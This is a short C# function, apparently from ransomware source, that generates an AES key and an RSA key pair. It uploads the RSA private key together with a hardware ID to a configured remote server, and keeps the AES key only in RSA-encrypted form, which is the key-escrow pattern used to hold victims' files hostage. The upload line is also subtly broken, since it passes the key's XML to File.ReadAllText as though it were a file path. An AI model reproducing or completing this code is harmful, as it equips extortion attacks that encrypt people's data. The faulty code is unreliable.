public static byte[] GenerateKey() { var aes = new RijndaelManaged() { KeySize = 256 }; aes.GenerateKey(); var rsa = new RSACryptoServiceProvider(2048); File.WriteAllText("public.txt", rsa.ToXmlString(false)); // Public RSA key to txt file if (Config.uploadRSAPrivateKey != null) { new WebClient().UploadString(Config.uploadRSAPrivateKey, File.ReadAllText(rsa.ToXmlString(true)) + "ID: " + UniqueID.GetUniqueHardwaeId()); // Upload private key and id to u server } else { File.WriteAllText("private.txt", rsa.ToXmlString(true)); //DELETE IT IF U NO DEBUGGING } File.WriteAllBytes("aes.txt", rsa.Encrypt(aes.Key, false)); return(aes.Key); }